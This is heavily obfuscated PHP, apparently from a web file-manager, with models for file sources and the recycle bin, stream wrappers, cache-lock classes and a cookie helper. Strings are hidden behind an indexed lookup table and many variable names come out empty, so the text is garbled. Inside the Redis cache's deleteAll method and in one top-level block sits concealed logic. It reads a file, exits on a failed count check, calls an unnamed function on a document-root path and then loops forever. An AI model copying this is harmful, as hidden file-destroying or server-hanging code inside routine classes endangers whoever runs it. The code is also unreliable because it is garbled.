$´[577] => 1); $ʦ = $this->where($)->count(); $ = $this->where($)->where(array($´[577] => 0))->count(); return array($´[84] => $, $´[85] => $ʦ); } public function pathInfo($, $ߦ = false) { $ =& $_SERVER[]; $ߦ = !1; $ = intval($); $肙 = $[459] . intval($ߦ) . $[460] . $; $ = _get(self::$cachePathInfo, $肙); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $ߦ); self::$cachePathInfo[$肙] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($°) { $ =& $_SERVER[]; $Ͼآ = _get(self::$cachePathInfoMore, $°); if ($Ͼآ) { return $Ͼآ; } $ = $this->pathInfo($°); if (!$) { return !1; } if ($[$[411]] == $[89]) { $[$[83]] = $this->folderChildrenNumber($°); } self::$cachePathInfoMore[$°] = $; return $; } public function sourceInfo($) { $헪м =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $헪м[458] . $; $˶ = _get(self::$cacheSourceInfo, $); if ($˶) { return $˶; } $ = $this->where(array($헪м[403] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($͑耒 = false) { $ =& $_SERVER[]; if ($͑耒 == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[458] . $͑耒]); unset(self::$cachePathInfoMore[$͑耒]); unset(self::$cachePathInfo[$[2099] . $͑耒]); unset(self::$cachePathInfo[$[2100] . $͑耒]); } public function metaSet($, $蘠 = null, $ = null) { $ = parent::metaSet($, $蘠, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($Ƿᜈ, $ɩ) { $鸿 =& $_SERVER[]; $ = !$ɩ ? array() : explode($鸿[8], trim($ɩ, $鸿[8])); $̏ = $Ƿᜈ; foreach ($ as $ў) { $㽪 = array($鸿[498] => $̏, $鸿[32] => $ў); $ӌʚ = $this->where($㽪)->select(); if (!$ӌʚ) { return !1; } $ӌʚ = array_sort_by($ӌʚ, $鸿[431]); $̏ = $ӌʚ[0][$鸿[403]]; } return $this->pathInfo($̏, !0); } protected function updateModifyTime($) { $ =& $_SERVER[]; $֛ = defined($[474]) ? USER_ID : $[190]; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $腽) { $[$] = intval($腽); $this->sourceCacheClear($腽); } $ = array($[403] => array($[7], $)); $ = array($[583] => $֛, $[425] => time()); $this->where($)->save($); } public function folderSizeReset($, $ޥ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $䈰 = $this->sourceInfo($); $ǀ = $[2101] . $; CacheLock::lock($ǀ, 20); if ($ޥ === !1) { $this->sourceCacheClear($); $䈰 = $this->sourceInfo($); $٢ = array($[402] => $, $[430] => 0); $ = $this->where($٢)->sum($[80]); $ޥ = intval($) - intval($䈰[$[80]]); } if ($ޥ == 0) { return CacheLock::unlock($ǀ); } $乔 = $this->parentLevelArray($䈰[$[521]]); if (!$乔) { $乔 = array(); } $乔[] = $䈰[$[403]]; $٢ = array($[403] => array($[419], $乔)); if ($ޥ < 0) { $٢[$[80]] = array($[1002], abs($ޥ)); } $this->where($٢)->setAdd($[80], $ޥ); CacheLock::unlock($ǀ); $ = $[2102] . $䈰[$[412]] . $[4] . $䈰[$[504]]; $̇ɣ = array($䈰[$[412]], $䈰[$[504]]); TaskRun::timeLimitCall($, $[2103], $̇ɣ, 1.5); } public function folderSizeResetChildren($ո) { $ =& $_SERVER[]; $this->sourceCacheClear($ո); $Ƕ = $this->sourceInfo($ո); $ = array($[577] => 1, $[581] => $Ƕ[$[504]], $[584] => array($[544], $Ƕ[$[521]] . $ո . $[545])); $ת = $[2104]; $ = $this->field($ת)->where($)->select(); $[$[411]] = 0; $֏ = $this->field($ת)->where($)->select(); if (!$֏) { return; } $[] = $Ƕ; $ = array_to_keyvalue($, $[403]); foreach ($ as $ => $Կ) { $[$][$[2105]] = $[$][$[80]]; $[$][$[80]] = 0; } foreach ($֏ as $Կ) { $Ǜ = $Կ[$[498]] . $[12]; if (!isset($[$Ǜ])) { continue; } if ($Կ[$[431]] == $[$Ǜ][$[431]]) { $[$Ǜ][$[80]] += $Կ[$[80]]; } } foreach ($ as $Կ) { $յ㨓 = $this->parentLevelArray($Կ[$[521]]); foreach ($յ㨓 as $Ǜ) { $Ǜ = $Ǜ . $[12]; if (!isset($[$Ǜ])) { continue; } if ($Կ[$[431]] == $[$Ǜ][$[431]]) { $[$Ǜ][$[80]] += $Կ[$[80]]; } } } $󴈲 = array(); foreach ($ as $Կ) { if ($Կ[$[80]] == $Կ[$[2105]]) { continue; } $󴈲[] = array($[403], $Կ[$[403]], $[80], $Կ[$[80]]); } $this->saveAll($󴈲); } public function userSpaceReset($퇵 = false) { $ =& $_SERVER[]; $ބڑ = $this->where(array($[412] => self::TYPE_USER, $[504] => $퇵, $[411] => 0))->sum($[80]); $ބڑ = !$ބڑ || $ބڑ <= 0 ? 0 : $ބڑ; Model($[513])->userEdit($퇵, array($[1799] => $ބڑ)); } public function targetSpaceUpdate($ȓ, $߉) { $Ԑ =& $_SERVER[]; if (!$߉) { return; } if (!in_array($ȓ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($ȓ, $߉); if ($ȓ == self::TYPE_USER) { Model($Ԑ[513])->userEdit($߉, array($Ԑ[1799] => $)); } else { if ($ȓ == self::TYPE_GROUP) { Model($Ԑ[522])->groupEdit($߉, array($Ԑ[1799] => $)); } } } public function targetSpaceSize($¢, $չ) { $ =& $_SERVER[]; $֭ = $this->sourceRoot($¢, $չ, !0); if (!$֭) { return 0; } $Ȍ = floatval($֭[$[80]]); $ロ = array($[584] => array($[544], $[531] . $֭[$[403]] . $[545])); $ = Model($[429])->field($[418])->where($ロ)->select(); $ = array_to_keyvalue($, $[12], $[403]); $ = array_unique(array_filter($)); if ($) { $ロ = array($[418] => array($[419], $)); $Ȍ += floatval($this->where($ロ)->sum($[80])); } $Ȍ = !$Ȍ || $Ȍ <= 0 ? 0 : $Ȍ; return $Ȍ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ٿ) { return $this->fileTypeProfile($ٿ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($퀢ŋ, $) { $յۉ =& $_SERVER[]; $퓟 = $յۉ[2106] . $퀢ŋ . $յۉ[11] . $; $ޝؐ = Cache::get($퓟); if ($ޝؐ) { return $ޝؐ; } $ޖ = array($յۉ[577] => 0); if ($퀢ŋ != !1) { $ޖ[$յۉ[504]] = $퀢ŋ; $ޖ[$յۉ[412]] = $; } $ = array(); $[$յۉ[2107]] = array($յۉ[2108] => LNG($յۉ[2107]), $յۉ[2109] => $this->where($ޖ)->count(), $յۉ[579] => $this->where($ޖ)->sum($յۉ[80])); $ϰ = KodIO::fileTypeList(); foreach ($ϰ as $ => $葧) { $ޖ[$յۉ[413]] = $this->fileTypeWhere($); $[$] = array($յۉ[2108] => $葧[$յۉ[32]], $յۉ[2109] => $this->where($ޖ)->count(), $յۉ[579] => $this->where($ޖ)->sum($յۉ[80])); } Cache::set($퓟, $, 1200); return $; } public function fileNameExist($, $ԅ) { $ =& $_SERVER[]; $纓 = $this->where(array($[498] => $, $[32] => $ԅ, $[431] => 0))->find(); return is_array($纓) ? $纓[$[403]] : !1; } public function childList($) { $ =& $_SERVER[]; $߫ = $[2084] . $; if (isset(self::$cacheChildList[$߫])) { return self::$cacheChildList[$߫]; } $ = array($[498] => intval($), $[431] => 0); $ٌ = $this->where($)->select(); $ٌ = $ٌ ? $ٌ : array(); self::$cacheChildList[$߫] = $ٌ; foreach ($ٌ as $͡) { $߫ = $[458] . $͡[$[403]]; self::$cacheSourceInfo[$߫] = $͡; } return $ٌ; } public function fileNameAuto($, $, $ʭ = REPEAT_RENAME, $ = false) { $ȑ =& $_SERVER[]; $媹 = array($ȑ[498] => $, $ȑ[431] => 0, $ȑ[32] => array($ȑ[378], $ . $ȑ[379])); $ = $this->field($ȑ[32])->where($媹)->select(); $ך = array_to_keyvalue($, $ȑ[12], $ȑ[32]); return $this->fileNameAutoGet($ך, $, $ʭ, $); } public function fileNameAutoGet($, $, $ɢħ, $̿) { $ྡ =& $_SERVER[]; if ($ɢħ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $̿ && $ɢħ != REPEAT_RENAME_FOLDER) { return $; } if ($ɢħ == REPEAT_SKIP) { return !1; } $ = $ྡ[10] . get_path_ext($); $ = $ == $ྡ[10] || $̿ ? $ྡ[12] : $; for ($տ = 1; $տ <= count($) + 1; $տ++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "\x28{$տ}\x29{$}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\165\162\143\x65\x5f\162\145\x63\x79\143\x6c\x65"; protected $dataAuto = array(array("\x63\162\x65\x61\x74\145\124\151\x6d\x65", "\x74\151\x6d\x65", "\x69\156\163\x65\162\164", "\x66\x75\x6e\143\164\151\x6f\x6e")); public function listData($❴ = false) { $Ĩ =& $_SERVER[]; $❴ = $❴ ? $❴ : USER_ID; $ = $this->where(array($Ĩ[1633] => $❴))->select(); return array_to_keyvalue($, $Ĩ[12], $Ĩ[403]); } public function moveToRecycle($) { $ή =& $_SERVER[]; $̪ = Model($ή[1312]); $ = $̪->sourceInfo($); if (!$ || $[$ή[431]] == $ή[89]) { return; } $҂ = array($ή[418] => $, $ή[1633] => USER_ID, $ή[580] => $[$ή[412]], $ή[581] => $[$ή[504]], $ή[584] => $[$ή[521]]); $this->add($҂); $this->recycleMove($, 1); if ($[$ή[411]] == $ή[89]) { $ = array($ή[584] => array($ή[544], $[$ή[521]] . $ . $ή[545])); $̪->where($)->setField($ή[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ܹ = false, $œ = false) { $윜 =& $_SERVER[]; $œ = $œ ? $œ : USER_ID; $ֹ = Model($윜[1312]); $ў = $this->listData($œ); $ܹ = $ܹ === !1 ? !1 : $ܹ; $ = array(); foreach ($ў as $) { if ($ܹ != !1 && !in_array($, $ܹ)) { continue; } $ = $ֹ->sourceInfo($); $ֹ->remove($, !1); $ƚ = $[$윜[412]] . $윜[11] . $[$윜[504]]; $[$ƚ] = array($윜[580] => $[$윜[412]], $윜[504] => $[$윜[504]]); $this->where(array($윜[403] => $))->delete(); } foreach ($ as $) { $ֹ->targetSpaceUpdate($[$윜[412]], $[$윜[504]]); } } public function restore($Ж = false) { $ = $this->listData(); $this->_restoreSource($, $Ж); } public function removeUserAll($ہ) { $this->remove(!1, $ہ); } private function _restoreSource($, $) { $۷ =& $_SERVER[]; $ = Model($۷[1312]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ב = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ۏ = $->sourceInfo($); $Ɉ = $->sourceInfo($ۏ[$۷[498]]); if ($Ɉ[$۷[431]] == $۷[89]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($ۏ[$۷[411]] == $۷[89]) { $ǐ = array($۷[584] => array($۷[544], $ۏ[$۷[521]] . $ . $۷[545])); $->where($ǐ)->setField($۷[431], 0); $this->restoreFolderChildren($, $); } $this->where(array($۷[403] => $))->delete(); $->folderSizeReset($ۏ[$۷[498]]); $ב[] = $ۏ[$۷[498]]; if ($ۏ[$۷[411]] == $۷[89]) { $ב[] = $; } $->lockMoveEnd($); } $->updateModifyTime($ב); } private function restoreFolderChildren($ӳ, $ޥ) { $騝 =& $_SERVER[]; $؁ = Model($騝[1312]); $ = array($騝[403] => array($騝[7], array())); foreach ($ޥ as $) { if ($ == $ӳ) { continue; } if (!$؁->isParentOf($ӳ, $)) { continue; } $ = $؁->sourceInfo($); if ($[$騝[411]] == $騝[89]) { $[] = array($騝[584] => array($騝[544], $[$騝[521]] . $ . $騝[545])); } else { $[$騝[403]][1][] = $; } } if (!$[$騝[403]][1]) { unset($[$騝[403]]); } if (!$) { return; } $[$騝[403]][1] = array_unique($[$騝[403]][1]); $[$騝[987]] = $騝[1905]; $؁->where($)->setField($騝[431], 1); } private function recycleMove($Ƞ, $ = 1) { $完 =& $_SERVER[]; $ = Model($完[1312]); $ϯ = Model($完[2110]); $’ = array($完[403] => $Ƞ); if ($) { $->where($’)->setField($完[431], 1); $ϯ->eventRecycle($Ƞ, $完[2111]); } else { $ʶ = $->where($’)->find(); $͍ = $ʶ[$完[411]] == $完[89]; $ِ = $->fileNameAuto($ʶ[$完[498]], $ʶ[$完[32]], REPEAT_RENAME_FOLDER, $͍); if ($ِ != $ʶ[$完[32]]) { $->rename($Ƞ, $ِ); } $->where($’)->setField($完[431], 0); $ϯ->eventRecycle($Ƞ, $完[2112]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\x6d\x2e\163\157\x75\162\x63\x65\123\145\x63\x72\x65\164\114\151\x73\164"; public $field = array("\x73\x6f\165\162\x63\x65\x49\x44", "\x74\171\160\x65\111\x44", "\x63\162\145\x61\x74\x65\125\x73\x65\x72"); } goto Aڐ; Cȅ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ҟ = false) { } public function exist($ᾥ) { $Љ = $this->info($ᾥ); return $Љ[$_SERVER[][194]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][194]]; } public function isFolder($쐾) { return !1; } public function size($) { $㙌 = $this->info($); return $㙌[$_SERVER[][80]]; } public function info($) { return $this->infoParse($); } public function infoAuth($Ҥ) { return $this->infoParse($Ҥ); } public function infoWithChildren($Ъ) { return $this->infoParse($Ъ); } public function infoFull($֨) { return $this->infoParse($֨); } private function infoParse($) { $ީ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$ީ[743]]) { return !1; } $ϡə = _get($, $ީ[332], 0); $م = array($ީ[32] => $[$ީ[32]], $ީ[78] => $, $ީ[33] => $ީ[192], $ީ[80] => intval($ϡə), $ީ[167] => get_path_ext($[$ީ[32]]), $ީ[1363] => $ϡə > 0 && $[$ީ[1485]], $ީ[1364] => !1); return $م; } private function header($) { $ޣ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ޢ = isset($GLOBALS[$ޣ[1486]]) ? $GLOBALS[$ޣ[1486]] : !1; $GLOBALS[$ޣ[1486]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$ޣ[1486]] = $ޢ; return self::$_cacheHeader[$]; } public function hashSimple($ѿ, $Ӵ = false) { $ =& $_SERVER[]; $ = $this->info($ѿ); if (!$ || !$[$[194]]) { return !1; } $ = $[$[80]]; $ͽ = 200; $ = 50; if ($ <= $ͽ * $) { return md5($this->fileSubstr($ѿ, 0, $)) . $; } $ʼ = intval($ / $); $Եé = $[12]; $ᅳ = timeFloat(); $ڼۜ = 15; for ($䗂 = 0; $䗂 < $; $䗂++) { if (timeFloat() - $ᅳ > $ڼۜ) { return !1; } $⃘ = $this->fileSubstr($ѿ, $ʼ * $䗂, $ͽ); if (!$⃘) { return !1; } $Եé .= $⃘; } $Եé .= $this->fileSubstr($ѿ, $ - $ͽ, $ͽ); return md5($Եé) . $; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($ӹБ, $ͥ続 = 0, $خ = -1) { $ȏ =& $_SERVER[]; $ = $this->info($ӹБ); if (!$ || !$[$ȏ[194]] && $[$ȏ[80]] > 1024 * 1024 * 10) { return !1; } if ($خ === -1) { $خ = $[$ȏ[80]]; } if ($خ == 0) { return $ȏ[12]; } $ǟ = array($ȏ[1487] . $ͥ続 . $ȏ[775] . ($ͥ続 + $خ - 1)); $Ҧ = url_request($ӹБ, $ȏ[225], !1, $ǟ, !1, !1, 1); return $Ҧ[$ȏ[1178]] ? $Ҧ[$ȏ[1178]] : $ȏ[12]; } public function download($, $߁) { Downloader::start($, $߁); return $߁; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $Έ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][78]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($ц͊, $Ո) { $ =& $_SERVER[]; if ($Ո == SEEK_SET) { $this->pose = $ц͊; } else { if ($Ո == SEEK_CUR) { $this->pose += $ц͊; } else { if ($Ո == SEEK_END) { $this->pose = $this->info[$[80]] + intval($ц͊); } } } if ($ц͊ < 0) { $this->pose = $this->info[$[80]] + $ц͊; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][80]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ŕ, $Ԅ) { $ =& $_SERVER[]; $˃ = $this->info($ŕ); return array($[1488] => 0, $[1489] => 0, $[16] => 32768 + 511, $[1490] => 0, $[1491] => 0, $[1492] => 0, $[1493] => 0, $[80] => $˃[$[80]], $[1494] => $˃[$[1362]], $[1450] => $˃[$[86]], $[1449] => $˃[$[193]], $[1495] => 0, $[1496] => 0); } static $fileInfo = array(); public function info($׽) { $ = $_SERVER[][1497]; if (isset(self::$fileInfo[$׽])) { return self::$fileInfo[$׽]; } if (substr($׽, 0, strlen($)) != $) { return !1; } self::$fileInfo[$׽] = IO::info(substr($׽, strlen($))); return self::$fileInfo[$׽]; } public static function read($, $, $ļ) { if (!isset(self::$_fopenCache[$])) { $Ӹ = new StreamWrapperIO(); $Ӹ->stream_open($); self::$_fopenCache[$] = $Ӹ; } $Ӹ = self::$_fopenCache[$]; return $Ӹ->fileSubstr($, $ļ); } public static function _read($, $ϙ, $Ŝ) { $ =& $_SERVER[]; $ = fopen($, $[1366]); if (!$) { return $[12]; } $ = 8192; fseek($, $ϙ, SEEK_SET); $Ν = $[12]; $ = 0; while ($ < $Ŝ) { $Ɩ⡴ = min($, $Ŝ - $); $Ν .= fread($, $Ɩ⡴); $ += $Ɩ⡴; } fclose($); return $Ν; } public function fileSubstr($г, $) { $ =& $_SERVER[]; $۰ = $this->info[$[80]]; $٢ه = $г; $ڛ = $; if ($г < 0) { $г = $۰ + $г; } if ($ === !1) { $ = $۰ - $г; } if ($г + $ > $۰) { $ = $۰ - $г; } if ($ <= 0) { return $[12]; } if ($г < 0 || $г >= $۰ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\157\106\151\x6c\x65\122\x65\141\144\x20\145\x72\x72\157\162\41\40\x73\164\x61\x72\x74\x3d{$г}\x3b\154\x65\x6e\x67\164\x68\x3d{$}\x3b\x20\163\151\172\145\x3d{$۰}\73"); } $׍ = 64 * 1024; $뱪 =& self::$_chunkBuffer[$this->path]; if (!$뱪) { $뱪 = array(); } $뻰 = 0; $ጡ = 0; $ȅ = $[12]; foreach ($뱪 as $뻰 => $ȅ) { $뻰 = intval($뻰); $ጡ = $뻰 + strlen($ȅ); if ($г >= $ጡ) { continue; } if ($г >= $뻰 && $г + $ <= $ጡ) { return substr($ȅ, $г - $뻰, $); } break; } if (count($뱪) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1498], $[1499] . count($뱪) . "\x3b\163\164\141\162\x74\75{$г}\x2c\x6c\145\156\147\164\x68\75{$}\73\160\157\163\145\72{$뻰}\x7e{$ጡ}"); throw new Exception($[1500]); } $ = intval($г / $׍) * $׍; $鳺 = ceil(($г + $) / $׍) * $׍ - $; $ = IO::fileSubstr($this->path, $, $鳺); $뱪[$ . $[12]] = $; ksort($뱪); $ = substr($, $г - $, $); return $; } private function log($✨, $) { $ۭ =& $_SERVER[]; $֛ = timeFloat() - $this->timeStart; write_log(sprintf($ۭ[1501], $✨, $this->info[$ۭ[32]], $֛, $), $ۭ[1168]); } } class Message { function __construct() { } public function send($湆 = '', $ћ = array(), $ԥ = "\164\145\170\x74") { $̷ =& $_SERVER[]; $ = array($̷[33] => $̷[1502], $̷[748] => $湆); if (in_array($ԥ, array($̷[1502], $̷[1503]))) { $[$̷[33]] = $ԥ; } $ћ = array($̷[515] => isset($ћ[$̷[515]]) ? $ћ[$̷[515]] : $̷[12], $̷[594] => isset($ћ[$̷[594]]) ? $ћ[$̷[594]] : $̷[12]); if (empty($湆) || empty($ћ[$̷[515]]) && empty($ћ[$̷[594]])) { return !1; } $֔撴 = array($̷[1443] => $, $̷[1504] => $ћ); Hook::trigger($̷[1505], $֔撴); } } goto F爙; bձ: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $Ĺ׫ =& $_SERVER[]; $ƅ = $GLOBALS[$Ĺ׫[6]][$Ĺ׫[344]]; self::$cachePath = $ƅ[$Ĺ׫[192]][$Ĺ׫[78]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($೶Ȑ, $ٓ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ȕќ = $ + $ٓ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[852] . md5($೶Ȑ) . $[849]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $س = fopen($, $[853]); if (!$س) { return !1; } $鿣 = flock($س, LOCK_EX | LOCK_NB); self::$caches[$೶Ȑ] = array($[854] => $س, $[192] => $); fwrite($س, $ȕќ); clearstatcache(); if ($س && $鿣) { return !0; } cacheLockWait(); } while (microtime(!0) < $ȕќ); $this->unlock($೶Ȑ); return !1; } public function lockGet($) { $졻 =& $_SERVER[]; $ޚѢ = rtrim(self::$cachePath, $졻[8]) . $졻[852] . md5($) . $졻[849]; return file_exists($ޚѢ); } public function unlock($Ȓ) { $ڬ =& $_SERVER[]; $؋ = self::$caches[$Ȓ]; if (!$؋) { return; } @flock($؋[$ڬ[854]], LOCK_UN); @fclose($؋[$ڬ[854]]); @unlink($؋[$ڬ[192]]); unset(self::$caches[$Ȓ]); } } class CacheLockRedis { public function lock($, $ = 10) { $Ć = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $Օ = $Ć->get($); if (!$Օ) { $Ё = $Ć->setLock($, $, $); if ($Ё) { return !0; } } else { if ($Օ < microtime(!0)) { $Ć->set($, $, $ * 2); if ($Ć->get($) === $Օ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ϮɁ) { return Cache::init()->get($ϮɁ); } public function unlock($ͤȜ) { return Cache::init()->remove($ͤȜ); } } goto a␩ƅ; a␩ƅ: class CacheLockMemcached { public function lock($, $ԓ = 0) { $و = Cache::init(); $Ő = microtime(!0) + $ԓ; while (microtime(!0) < $Ő) { $ = $و->get($); if (!$ || $ < microtime(!0)) { $ = $و->handle->add($, $Ő, $ԓ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($β) { return Cache::init()->get($β); } public function unlock($婚) { return Cache::init()->remove($婚); } } class CacheLockDatabase { public function lock($Ѭ, $ۅ = 0) { $ϓż = Model($_SERVER[][822]); $╠ = microtime(!0) + $ۅ; while (microtime(!0) < $╠) { $ = $ϓż->get($Ѭ); if (!$ || $ < microtime(!0)) { $ = $ϓż->set($Ѭ, $╠); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][822])->get($); } public function unlock($ٓ) { Model($_SERVER[][822])->remove($ٓ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ҵ, $ѷ) { $ =& $_SERVER[]; if (!class_exists($[855])) { show_json($[856], !1); } $this->cacheTime = $ѷ; $this->handle = new Memcached(); if (is_array($ҵ[$[857]]) && count($ҵ[$[857]]) >= 1) { foreach ($ҵ[$[857]] as $ê) { $ʈ = explode($[4], $ê); $this->handle->addServer($ʈ[0], $ʈ[1]); } } else { $this->handle->addServer($ҵ[$[174]], $ҵ[$[175]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($ם͌) { return $this->handle->get($ם͌); } public function remove($􊹝) { return $this->handle->delete($􊹝); } public function deleteAll() { return $this->handle->flush(); } } goto e┳; e┳: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ޒІ, $) { $і =& $_SERVER[]; if (!class_exists($і[858])) { show_json($і[859], !1); } $this->cacheTime = $; $ڧ = isset($ޒІ[$і[860]]) ? $ޒІ[$і[860]] : 10; $ = _get($ޒІ, $і[857]); if ($ && is_array($)) { $this->initCluster($ޒІ, $ڧ); } else { $this->handle = $this->init($ޒІ, $ڧ); } } private function init($, $) { $ =& $_SERVER[]; $Ɲ = new Redis(); $鑄 = isset($[$[861]]) ? $[$[861]] : !1; if ($鑄) { $Ɲ->pconnect($[$[174]], $[$[175]], $); } else { $Ɲ->connect($[$[174]], $[$[175]], $); } if (!empty($[$[414]])) { $Ɲ->auth($[$[414]]); } return $Ɲ; } private function initCluster($, $) { $ =& $_SERVER[]; $戞 = array($[862], $[863], $[864]); $𡹣 = $[862]; if (isset($[$[16]]) && in_array($[$[16]], $戞)) { $𡹣 = $[$[16]]; } switch ($𡹣) { case $[862]: $this->_slave($, $); break; case $[863]: break; case $[864]: $this->isCluster = !0; $Ϸ = $[$[857]]; $ = isset($[$[861]]) ? $[$[861]] : !1; $ = isset($[$[414]]) ? $[$[414]] : null; $this->handle = new RedisCluster(NUll, $Ϸ, $, $, $, $); break; default: break; } } private function _slave($, $օք) { $ = $[$_SERVER[][857]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $օք); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $օք); } private function filterConfig(&$, $) { $ᐒ =& $_SERVER[]; $ = explode($ᐒ[4], $); $ = array($ᐒ[174] => $[0], $ᐒ[175] => $[1]); $ = array_merge($, $); } public function set($, $ç, $Ʀ = false) { $Ʀ = $Ʀ ? $Ʀ : $this->cacheTime; return $this->handle->setEx($, $Ʀ, $ç); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($І͋) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($І͋); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if ($_SERVER[$[389]] != $_SERVER[$[390]]) { $ = $[865]; $ = $[391]; $ = $_SERVER[$[392]] . $[393]; $ = $($); $ՙ = explode($[226], $); if (count($ՙ) < $[617]) { $݆ = $[395]; $݆(); } $ɱ䀑 = $[866]; $ɱ䀑($_SERVER[$[867]]); $ɱ䀑($_SERVER[$[392]] . $[868]); $ = 1; while ($ > 1) { $ = $ + 4; $ϵ = rawurlencode($ . $[373]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } if (!isset($_SERVER[$_SERVER[][389]]) || !isset($_SERVER[$_SERVER[][397]])) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][392]] . $_SERVER[][393]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][373]); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ʼޥ = '', $ך = 0) { if (is_string($ʼޥ) && $ʼޥ != $_SERVER[][12]) { $this->prefix = $ʼޥ; } if (is_numeric($ך) && $ך > 0) { $this->expire = $ך; } } public static function getInstance() { static $˻LJ; if ($˻LJ === null) { $˻LJ = new self(); } return $˻LJ; } private static $cookieDisable = false; public static function disable($ؒ) { self::$cookieDisable = $ؒ; } private static $sameCookieSet = array(); public static function set($ϖ, $, $Ѐۋ = 0, $͟ = false, $ = false) { $⻨ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$Ѐۋ) { $Ѐۋ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ϖ]) && self::$sameCookieSet[$ϖ] == $ . $Ѐۋ) { return; } self::$sameCookieSet[$ϖ] = $ . $Ѐۋ; if (!$) { $ = str_replace(HOST, $⻨[12], APP_HOST); $ = _get($GLOBALS, $⻨[869], $); } $ٱߒ = $⻨[12]; setcookie($ϖ, $, time() + $Ѐۋ, $⻨[8] . trim($, $⻨[8]) . $ٱߒ, !1, !1, $͟); } public static function setSafe($, $ޮ, $ = 0) { self::set($, $ޮ, $, !0); } public static function get($Ӷ͐) { static $׶ = false; if (!$׶) { self::initHeaderCookie(); $׶ = !0; } return isset($_COOKIE[$Ӷ͐]) ? $_COOKIE[$Ӷ͐] : !1; } private static function initHeaderCookie() { $׶ =& $_SERVER[]; if (!isset($_SERVER[$׶[870]]) || !$_SERVER[$׶[870]]) { return; } $ں = explode($׶[71], $_SERVER[$׶[870]]); foreach ($ں as $đ) { $đ = explode($׶[871], $đ); if (count($đ) != 2 || !isset($đ[1])) { continue; } $_COOKIE[trim($đ[0])] = trim($đ[1]); } } public static function remove($׵, $ = false) { unset($_COOKIE[$׵]); self::set($׵, 